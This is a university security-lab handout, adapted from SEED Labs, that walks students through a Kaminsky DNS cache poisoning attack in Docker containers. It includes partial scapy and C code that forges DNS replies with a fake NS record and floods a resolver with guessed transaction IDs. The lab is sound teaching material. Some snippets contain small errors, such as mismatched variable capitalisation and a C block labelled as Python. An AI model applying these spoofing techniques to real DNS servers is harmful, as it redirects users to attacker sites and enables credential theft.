Kaminsky Attack
This lab is built on the SEED Labs for Security Education project by Prof. Wenliang Du, at Syracuse University.
In a DNS cache poisoning attack, an attacker attempts to redirect the victim to vist machine B when the user tries to get to machine A by remapping A’s host name. For example, assume www.bank.com is an online banking site. When the user tries to access this site using the legitimate URL www.bank.com, an adversary can redirect the user to a malicious web site that looks very much like www.bank.com, and the user might be fooled into giving away his/her credentials to the attacker.
Lab Setup
-
The lab uses the CS88 VM.
-
Before you follow the instructions to setup the VM you want to first copy the VM over to the
/local
on the machine you currently are on. Alternatively, you can also copy the VM onto your personal laptop and run it. You will first have to install VirtualBox on your machine.# let's assume you are logged into poppy in the CS lab: poppy[~]$ cd /local # copy the VM from spinach over to poppy poppy[local]$ scp spinach:/local/CS88-Ubuntu20.04.ova . # set the permissions for the `.ova` file: poppy[local]$ chmod 644 CS88-Ubuntu20.04.ova
-
You can follow along with the instructions on the lab page to setup the VM.
-
The lab uses the following layout to launch the DNS cache poisoning attack:
Docker containers
Next, we will use docker containers to setup the machiness that we will use in our test environment, to setup the DNS cache poisoning attack.
In the last lab we saw how we can setup a virtual machine and we talked about what a VM does - i.e., creates virtual instances of the entire system hardware up!
You can think of a Docker container as a light-weight VM. Docker virtualizes the application environment in which all of your software applications, code and data live. If you think of the hardware as "bare metal" and the OS as managing computer resources, then the Docker container sits on top of the OS, giving us a sandboxed environment to work in, without the overhead of the entire virtual machine. You can read more about Docker containers here.
In this lab, we are going to run a docker VM inside our virtual machine.
Can you run a docker inside a VM? Yes! How about a docker inside a docker inside a VM? also yes!… it’s turtles all the way down…
-
First, you will need to
git clone
your lab in the VM. -
Next we will build our docker image just like we built our vm.
The next two steps will need to be performed every time you login to your VM and want to work on your lab. seed@VM:~$ cd kaminsky-attack seed@VM:~/.../kaminsky-attack$ dcbuild # this step will take a couple of minutes
-
Next, we want to run
dcup
which starts the docker container. This is equivalent to starting our VM.seed@VM:~/.../kaminsky-attack$ dcup
You should now have a docker container up and running! The
dcup
command will swallow the cursor. To interact with the docker, we will need to open up a new terminal. -
All the containers will be running in the background. To run commands on a container, we often need to get a shell on that docker container. We first need to use the
dockps
command to find out the ID of the container,and then usedocksh
to start a shell on that container. The following command showsn you can get a shell inside hostC.seed@VM:~/.../kaminsky-attack$ dockps $ dockps b1004832e275 hostA-10.9.0.5 0af4ea7a3e2e hostB-10.9.0.6 9652715c8e0a hostC-10.9.0.7 $ docksh 96 root@9652715c8e0a:/# // Note: If a docker command requires a container ID, you do not need t type the entire ID string.Typing the first few characters will be sufficient, as long as they are unique among all the containers.
You may not see the same ID
for the docker containers on your end. They are randomly generated when the docker container starts up. -
Once you are done with your work you can run
dcdown
to shutdown the docker container.seed@VM:~/.../kaminsky-attack$ dcdown
Docker Container Environment
The User’s machine. The user container 10.9.0.5 is already configured to use 10.9.0.53 as its local DNS server. We can set this by changing the resolver configuration file (/etc/resolv.conf
) of the user machine, so the server 10.9.0.53 is added as the first nameserver entry in the file, i.e., this server will be used as the primary DNS server.
The Attacker’s Nameserver. On the attacker’s nameserver, we host two zones. One is the attacker’s legitimate zone attacker32.com
, and the other is the fake example.com
zone. The zones are configured in /etc/bind/named.conf
:
zone "attacker32.com" {
type master;
file "/etc/bind/attacker32.com.zone";
};
zone "example.com" {
type master;
file "/etc/bind/example.com.zone";
};
-
Examining the DNS cache During the attack, we need to inspect the DNS cache on the local DNS server. The following two commands are related to DNS cache. The first command dumps the content of the cache to the file
/var/cache/bind/dump.db
, and the second command clears the cache.# rndc dumpdb -cache // Dump the cache to the specified file # rndc flush // Flush the DNS cache
-
Forwarding the attacker32.com zone. A forward zone is added to the local DNS server, so if anybody queries the
attacker32.com
domain, the query will be forwarded to this domain’s nameserver, which is hosted in the attacker container. The zone entry is put inside thenamed.conf
file.zone "attacker32.com" { type forward; forwarders { 10.9.0.153; }; };
Testing your DNS Setup
From the User container, we will run a series of commands to ensure that our lab setup is correct.
-
Get the IP address of
ns.attacker32.com
. When we run the followingdig
command, the local DNS server will forward the request to the Attacker nameserver due to the forward zone entry added to the local DNS server’s configuration file. Therefore, the answer should come from the zone file (attacker32.com.zone) that we set up on the Attacker nameserver.$ dig ns.attacker32.com
Ensure that this is what you get.
-
Get the IP address of www.example.com. Two nameservers are now hosting the
example.com
domain, one is the domain’s official nameserver, and the other is the Attacker container. We will query these two nameservers and see what response we will get.// Send the query to our local DNS server, which will send the query // to example.com’s official nameserver. $ dig www.example.com // Send the query directly to ns.attacker32.com $ dig @ns.attacker32.com www.example.com
-
We know that DNS queries are organized such that no endhost will ask
ns.attacker32.com
for the IP address ofwww.example.com
; they will always ask theexample.com
domain’s official nameserver for the authoritative answers. -
The objective of the DNS cache poisoning attack is to get our victim to ask
ns.attacker32.com
for the IP address ofwww.example.com
.If our attack is successful, running the first dig command, the one without specifying the nameserver to query (i.e, without specifying
@ns.attacker32.com
) should get the fake result from the attacker, instead of getting the authoritative result from the domain’s legitimate nameserver.
Attack overview
We will launch our DNS cache poisoning attack against www.example.com as our attack target.
Note that example.com domain name is reserved for use in documentation, not for any real company. The legitimate IP address of www.example.com is 93.184.216.34, and its nameserver is managed by the Internet Corporation for Assigned Names and Numbers (ICANN). |
Typically, when a user runs a dig query for www.example.com
or types the hostname into a web browser, the user’s machine sends a DNS query to its local DNS server, which will eventually ask for the IP address from example.com’s nameserver.
The goal of the attack is to launch the DNS cache poisoning attack on the local DNS server, such that when the user runs the dig command to find out www.example.com’s IP address, the local DNS server will end up going to the attacker’s nameserver ns.attacker32.com to get the IP address, so the IP address returned can be any number that is decided by the attacker. As a result, the user will be led to the attacker’s web site, instead of to the legitimate www.example.com
.
The Kaminsky Attack
-
In this task, the attacker sends a DNS query request to the victim DNS server (Apollo), triggering a DNS query from Apollo.
-
The query may go through one of the
root
DNS servers, the.com
DNS server, and finally go to the authoritative DNS servers forexample.com
, as shown above.
-
-
In case example.com’s nameserver information is already cached by Apollo, the query will not go through the
root
or the.com
server; this is illustrated in the figure below.
-
For this project we will assume that the DNS mapping for the
root
and.com
servers are already cached and Apollo is waiting for a DNS reply fromexample.com
's authoritative nameserver as shown in Figure 3. -
The attacker can now forged replies to Apollo, pretending that the replies are from example.com’s nameserver. If the forged replies arrive first, it will be accepted by Apollo and the attack will be successful.
-
If we assume an on-path attacker, i.e., the attacker is on the same Local-Area-Network then the attacker can observe the DNS query and craft a DNS response with the same transaction ID observed in the DNS query.
-
If the attacker is off-path, the attack becomes much harder to launch for two reasons: (a) the attacker needs to guess the transaction ID - a 16 bit field, and race the legitimate response from
example.com
's nameserver and (b) if the attacker fails, then the legitimate response is cached for a significant period (days to weeks), meaning that there are no DNS queries sent out by the victim, for the attacker to try a second spoofed response.
Dan Kaminsky came up with an elegant off-path attack that overlooked a key issue with DNS responses, and was successfully able to attack a DNS server in a matter of minutes. The attack model is given in figure 3:
-
The attacker queries the DNS server Apollo for a non-existing name in
example.com
, such astwysw.example.com
, wheretwysw
is a random string. -
Since the mapping is unavailable in Apollo’s DNS cache, Apollo sends a DNS query to the nameserver of the
example.com
domain. -
While Apollo waits for the reply, the attacker floods Apollo with a stream of spoofed DNS response, each trying a different transaction ID, hoping one is correct. In the response, not only does the attacker provide an IP resolution for twysw.example.com, the attacker also provides “Authoritative Nameservers” record, indicating ns.attacker32.com as the nameserver for the example.com domain. If the spoofed response beats the actual responses and the transaction ID matches with that in the query, Apollo will accept and cache the spoofed answer, and and thus Apollo’s DNS cache is poisoned.
-
Even if the spoofed DNS response fails (e.g. the transaction ID does not match or it comes too late), it does not matter, because the next time, the attacker will query a different name, so Apollo has to send out another query, giving the attack another chance to do the spoofing attack. This effectively defeats any weak security guarantees provided by caching legitimate DNS responses (since there are innumerable "fake" example.com webpages that the attacker can query).
-
If the attack succeeds, in Apollo’s DNS cache, the nameserver for example.com will be replaced by the attacker’s nameserver
ns.attacker32.com
. To demonstrate the success of this attack, your group should show that a fake attacker controlled record is present Apollo’s DNS cache.
Let’s break up the Kaminsky attack into three steps:
|
Task 1: Construct a DNS request
This task focuses on sending out DNS requests. In order to complete the attack, attackers need to trigger the target DNS server to send out DNS queries, so they have a chance to spoof DNS replies. Since attackers need to try many times before they can succeed, you should automate the process by writing your spoofed packet responses in a program.
Write a program using scapy to send out DNS queries to the target DNS server (i.e., the local DNS server in our setup). Demonstrate (using Wireshark) that your queries can trigger the target DNS server to send out corresponding DNS queries. |
The following python code snippet using scapy can help you get started. You should also look up the DNS protocol to see all the fields required in the request and the response. Here are some slides to help you get started. Luckily, scapy handles most of the header fields for you :).
+
qdsec = DNSQR(qname=’www.example.com’)
dns = DNS(id=0xAAAA, qr=0, qdcount=1, ancount=0, nscount=0,
arcount=0, qd=Qdsec)
# TODO: fill in the destination and source IP addresses
ip = IP(dst=’’, src=’’)
# TODO: fill in the destination and source port numbers (no quotes needed around port numbers)
udp = UDP(dport=___, sport=__, chksum=0)
request = ip/udp/dns
Task 2: Spoof DNS Replies
In this task, we need to spoof DNS replies in the Kaminsky attack. Since our target is example.com, we need to spoof the replies from this domain’s nameserver.
You first need to find the IP addresses of example.com’s legitimate nameservers (note: there are multiple nameservers for this domain). You can use scapy to implement this task.
The following code snippet constructs a DNS response packet that includes a question section, an answer section, and an NS section. Sample scapy code is provided below, your TODOs are highlighted:
TODO: fill in name, domain, and ns
name = ''
domain = ''
ns = ''
qdsec = DNSQR(qname=name)
anssec = DNSRR(rrname=name, type=’A’, rdata=’1.2.3.4’, ttl=259200)
nssec = DNSRR(rrname=domain, type=’NS’, rdata=ns, ttl=259200)
dns = DNS(id=0xAAAA, aa=1, rd=1, qr=1,
qdcount=1, ancount=1, nscount=1, arcount=0,
qd=qdsec, an=anssec, ns=nssec)
TODO: fill in the IP addresses and UDP port numbers
ip = IP(dst='', src='')
udp = UDP(dport=____, sport=____, chksum=0)
reply = ip/udp/dns
This reply on it’s own will not yet lead to a successful attack, to demonstrate that you’ve completed this task, you should use Wireshark to capture the spoofed DNS replies, and show that the spoofed packets are valid.
Task 3: Launch the Kaminsky Attack
Now we can put everything together to conduct the Kaminsky attack. In the attack, we need to send out many spoofed DNS replies, hoping one of them hits the correct transaction number and arrives sooner than the legitimate replies. Therefore, speed is essential: the more packets we can send out, the higher the success rate is. If we use Scapy to send the spoofed DNS replies like what we did in the previous task, the success rate is unfortunately not high.
We will use a hybrid approach using both Scapy and C. The C code is mostly provided to you in attack.c
, you only need to change areas marked with a TODO.
Use scapy to create DNS packets
We will use Scapy to create the spoofed DNS packet, and save it to a file. Here is a generic code snippet to save a DNS packet created using scapy:
#!/usr/bin/env python3
from scapy.all import *
# Construct the DNS header and payload
name = ’twysw.example.com’
qdsec = DNSQR(qname=name)
anssec = DNSRR(rrname=name, type=’A’, rdata=’1.1.2.2’, ttl=259200)
dns = DNS(id=0xAAAA, aa=1, rd=0, qr=1,
qdcount=1, ancount=1, nscount=0, arcount=0,
qd=Qdsec, an=Anssec)
# Construct the IP, UDP headers, and the entire packet
ip = IP(dst=’10.0.2.7’, src=’1.2.3.4’, chksum=0)
udp = UDP(dport=33333, sport=53, chksum=0)
pkt = ip/udp/dns
# Save the packet to a file
with open(’ip.bin’, ’wb’) as f:
f.write(bytes(pkt))
In our attack.c
file, we can load the packet from the file ip.bin, and use it as our packet template, based on which we create many similar packets, and flood the target local DNS servers with these spoofed replies.
-
For each reply, we change three pieces of information: : the transaction ID and the name twysw occurred in two places (the question section and the answer section). The transaction ID is at a fixed place (offset 28 from the beginning of our IP packet), but the offset for the name twysw depends on the length of the domain name. We can use a binary editor program, such as bless, to view the binary file ip.bin and find the two offsets of twysw. In our packet, they are at offsets 41 and 64.
-
The following code snippet shows how we make change to these fields. We change the name in our reply to bbbbb.example.com, and then send out a spoofed DNS replies, with transaction ID being 1000. In the code, the variable ip points to the beginning of the IP packet.
// Modify the name in the question field (offset=41) memcpy(ip+41, "bbbbb" , 5); // Modify the name in the answer field (offset=64) memcpy(ip+64, "bbbbb" , 5); // Modify the transaction ID field (offset=28) unsigned short id = 1000; unsigned short id_net_order = htons(id); memcpy(ip+28, &id_net_order, 2);
Generate random names
In the Kaminsky attack, we need to generate random hostnames. There are many ways to do so. The following code snippet shows how to generate a random name consisting of 5 characters in python:
char a[26]="abcdefghijklmnopqrstuvwxyz";
// Generate a random name of length 5
char name[6];
name[5] = 0;
for (int k=0; k<5; k++)
name[k] = a[rand() % 26];
Verifying that your attack succeeded
Check the DNS Cache To check whether the attack is successful or not, we need to check the dump.db
file to see whether our spoofed DNS response has been successfully accepted by the DNS server. The following commands dump the DNS cache, and search whether the cache contains the word attacker (use attacker32.com
as the attacker’s domain).
# rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
If the attack is successful, in the local DNS server’s DNS cache, the NS record for example.com will become ns.attacker32.com. When this server receives a DNS query for any hostname inside the example.com domain, it will send a query to ns.attacker32.com, instead of sending to the domain’s legitimate nameserver.
To verify whether your attack is successful or not, go to the User machine, run the following two dig commands. In the responses, the IP addresses for www.example.com should be the same for both commands, and it should be whatever you have included in the zone file on the Attacker nameserver.
// Ask the local DNS server to do the query
$ dig www.example.com
// Directly query the attacker32 nameserver
$ dig @ns.attacker32.com www.example.com
In your presentation include screenshots and explain why you think your attack is successful. In particular, when you run the first dig commands, use Wireshark to capture the network traffic, and point out what packets are triggered by this dig command. Use the packet trace to prove that your attack is successful. |
Note that DNS results may be cached on the local DNS server after the first dig command is run. This could influence the results if you run the first dig command before using Wireshark. You can clear the cache using sudo rndc flush on the local DNS server, but that will require you to redo the attack.
|